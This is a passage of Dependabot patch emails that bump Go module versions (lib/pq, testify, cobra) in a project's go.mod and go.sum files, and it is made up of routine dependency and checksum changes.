v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= From 7eb83008064baf79dffe1c87e4cdcb115929b205 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 27 Mar 2023 18:56:48 +0000 Subject: [PATCH 0371/1062] chore(deps): bump github.com/lib/pq from 1.10.2 to 1.10.7 Bumps [github.com/lib/pq](https://github.com/lib/pq) from 1.10.2 to 1.10.7. - [Release notes](https://github.com/lib/pq/releases) - [Commits](https://github.com/lib/pq/compare/v1.10.2...v1.10.7) --- updated-dependencies: - dependency-name: github.com/lib/pq dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/go.mod b/go.mod index 752e334e80..6c21705e16 100644 --- a/go.mod +++ b/go.mod @@ -12,7 +12,7 @@ require ( github.com/influxdata/influxdb-client-go/v2 v2.12.2 github.com/jackc/pgx/v4 v4.16.1 github.com/jaswdr/faker v1.16.0 - github.com/lib/pq v1.10.2 + github.com/lib/pq v1.10.7 github.com/mattn/goveralls v0.0.11 github.com/o1egl/paseto v1.0.0 github.com/olekukonko/tablewriter v0.0.5 diff --git a/go.sum b/go.sum index 9f89d48e1d..187e103857 100644 --- a/go.sum +++ b/go.sum @@ -424,8 +424,9 @@ github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= -github.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= +github.com/lib/pq v1.10.7 h1:p7ZhMD+KsSRozJr34udlUrhboJwWAgCg34+/ZZNvZZw= +github.com/lib/pq v1.10.7/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= From af3351f5e13b6ce9c351cf1bbb84731871de8c91 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 27 Mar 2023 19:05:15 +0000 Subject: [PATCH 0372/1062] chore(deps): bump github.com/stretchr/testify from 1.8.0 to 1.8.2 Bumps [github.com/stretchr/testify](https://github.com/stretchr/testify) from 1.8.0 to 1.8.2. - [Release notes](https://github.com/stretchr/testify/releases) - [Commits](https://github.com/stretchr/testify/compare/v1.8.0...v1.8.2) --- updated-dependencies: - dependency-name: github.com/stretchr/testify dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/go.mod b/go.mod index 6c21705e16..d06d157ef4 100644 --- a/go.mod +++ b/go.mod @@ -30,7 +30,7 @@ require ( github.com/spf13/cobra v1.2.1 github.com/spf13/pflag v1.0.5 github.com/spf13/viper v1.12.0 - github.com/stretchr/testify v1.8.0 + github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e golang.org/x/net v0.7.0 diff --git a/go.sum b/go.sum index 187e103857..ec2048af3c 100644 --- a/go.sum +++ b/go.sum @@ -633,6 +633,7 @@ github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+ github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= @@ -642,8 +643,9 @@ github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5 github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= +github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/subosito/gotenv v1.3.0 h1:mjC+YW8QpAdXibNi+vNWgzmgBH4+5l5dCXv8cNysBLI= github.com/subosito/gotenv v1.3.0/go.mod h1:YzJjq/33h7nrwdY+iHMhEOEEbW0ovIz0tB6t6PwAXzs= From 1782eed223b8a269f76d5b10d1de26e9482d9526 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 27 Mar 2023 19:48:38 +0000 Subject: [PATCH 0373/1062] chore(deps): bump github.com/spf13/cobra from 1.2.1 to 1.6.1 Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.2.1 to 1.6.1. - [Release notes](https://github.com/spf13/cobra/releases) - [Commits](https://github.com/spf13/cobra/compare/v1.2.1...v1.6.1) --- updated-dependencies: - dependency-name: github.com/spf13/cobra dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 9 ++++----- go.sum | 42 ++++++++---------------------------------- 2 files changed, 12 insertions(+), 39 deletions(-) diff --git a/go.mod b/go.mod index d06d157ef4..4072629216 100644 --- a/go.mod +++ b/go.mod @@ -27,7 +27,7 @@ require ( github.com/rogpeppe/go-internal v1.9.0 github.com/rs/xid v1.3.0 github.com/schollz/progressbar/v2 v2.15.0 - github.com/spf13/cobra v1.2.1 + github.com/spf13/cobra v1.6.1 github.com/spf13/pflag v1.0.5 github.com/spf13/viper v1.12.0 github.com/stretchr/testify v1.8.2 @@ -52,7 +52,7 @@ require ( github.com/beorn7/perks v1.0.1 // indirect github.com/cespare/xxhash v1.1.0 // indirect github.com/cespare/xxhash/v2 v2.1.2 // indirect - github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect + github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/deepmap/oapi-codegen v1.8.2 // indirect github.com/dgraph-io/ristretto v0.0.2 // indirect @@ -65,7 +65,7 @@ require ( github.com/hashicorp/hcl v1.0.0 // indirect github.com/huandu/xstrings v1.3.2 // indirect github.com/imdario/mergo v0.3.13 // indirect - github.com/inconshreveable/mousetrap v1.0.0 // indirect + github.com/inconshreveable/mousetrap v1.0.1 // indirect github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 // indirect github.com/jackc/chunkreader/v2 v2.0.1 // indirect github.com/jackc/pgconn v1.12.1 // indirect @@ -94,8 +94,7 @@ require ( github.com/pmezard/go-difflib v1.0.0 // indirect github.com/pseudomuto/protokit v0.2.1 // indirect github.com/rivo/uniseg v0.2.0 // indirect - github.com/russross/blackfriday/v2 v2.0.1 // indirect - github.com/shurcooL/sanitized_anchor_name v1.0.0 // indirect + github.com/russross/blackfriday/v2 v2.1.0 // indirect github.com/spf13/afero v1.8.2 // indirect github.com/spf13/cast v1.5.0 // indirect github.com/spf13/jwalterweatherman v1.1.0 // indirect diff --git a/go.sum b/go.sum index ec2048af3c..ce8a0a3fdb 100644 --- a/go.sum +++ b/go.sum @@ -40,7 +40,6 @@ cloud.google.com/go/compute v1.6.0/go.mod h1:T29tfhtVbq1wvAPo0E3+7vhgmkOYeXjhFvz cloud.google.com/go/compute v1.6.1/go.mod h1:g85FgpzFvNULZ+S8AYq87axRKuf2Kh7deLqV/jJ3thU= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= -cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= cloud.google.com/go/firestore v1.6.1/go.mod h1:asNXNOzBdyVQmEU+ggO8UPodTkEVFW5Qx+rwHnAz+EY= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= @@ -91,7 +90,6 @@ github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+Ce github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= -github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= @@ -125,8 +123,9 @@ github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7 github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= -github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= +github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= +github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= @@ -289,9 +288,7 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= -github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q= github.com/hashicorp/consul/api v1.12.0/go.mod h1:6pVBMo0ebnYdt2S3H87XhekM/HHrUoTD2XXb/VrZVy0= -github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= @@ -305,24 +302,19 @@ github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iP github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= -github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= -github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= -github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= github.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE= -github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= github.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= github.com/hashicorp/serf v0.9.7/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= @@ -333,8 +325,9 @@ github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1: github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/imdario/mergo v0.3.13 h1:lFzP57bqS/wsqKssCGmtLAb8A0wKjLGrve2q3PPVcBk= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= -github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= +github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= github.com/influxdata/influxdb-client-go/v2 v2.12.2 h1:uYABKdrEKlYm+++qfKdbgaHKBPmoWR5wpbmj6MBB/2g= github.com/influxdata/influxdb-client-go/v2 v2.12.2/go.mod h1:YteV91FiQxRdccyJ2cHvj2f/5sq4y4Njqu1fQzsQCOU= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU= @@ -429,7 +422,6 @@ github.com/lib/pq v1.10.7 h1:p7ZhMD+KsSRozJr34udlUrhboJwWAgCg34+/ZZNvZZw= github.com/lib/pq v1.10.7/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= -github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= github.com/magiconair/properties v1.8.6 h1:5ibWZ6iY0NctNGWo87LalDlEZ6R41TqbbDamhfG/Qzo= github.com/magiconair/properties v1.8.6/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= @@ -464,27 +456,21 @@ github.com/mattn/goveralls v0.0.11 h1:eJXea6R6IFlL1QMKNMzDvvHv/hwGrnvyig4N+0+XiM github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= -github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= -github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= -github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= -github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= -github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= @@ -518,7 +504,6 @@ github.com/pborman/uuid v1.2.0 h1:J7Q5mO4ysT1dv8hyrUGHb9+ooztCXu1D8MY8DZYsu3g= github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pelletier/go-toml v1.8.0/go.mod h1:D6yutnOGMveHEPV7VQOuvI/gXY61bv+9bAOTRnLElKs= -github.com/pelletier/go-toml v1.9.3/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= github.com/pelletier/go-toml/v2 v2.0.1 h1:8e3L2cCQzLFi2CR4g7vGFuFxX7Jl1kKX8gW+iV0GUKU= @@ -588,8 +573,9 @@ github.com/rs/xid v1.3.0 h1:6NjYksEUlhurdVehpc7S7dk6DAmcKv8V9gG0FsVN2U4= github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU= github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc= -github.com/russross/blackfriday/v2 v2.0.1 h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q= github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= github.com/sagikazarmark/crypt v0.6.0/go.mod h1:U8+INwJo3nBv1m6A/8OBXAq7Jnpspk5AxSgDyEQcea8= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= @@ -599,7 +585,6 @@ github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ= github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= -github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo= github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= @@ -617,8 +602,8 @@ github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkU github.com/spf13/cast v1.5.0 h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w= github.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU= github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE= -github.com/spf13/cobra v1.2.1 h1:+KmjbUw1hriSNMF55oPrkZcb27aECyrj8V2ytv7kWDw= -github.com/spf13/cobra v1.2.1/go.mod h1:ExllRjgxM/piMAM+3tAZvg8fsklGAf3tPfi+i8t68Nk= +github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA= +github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY= 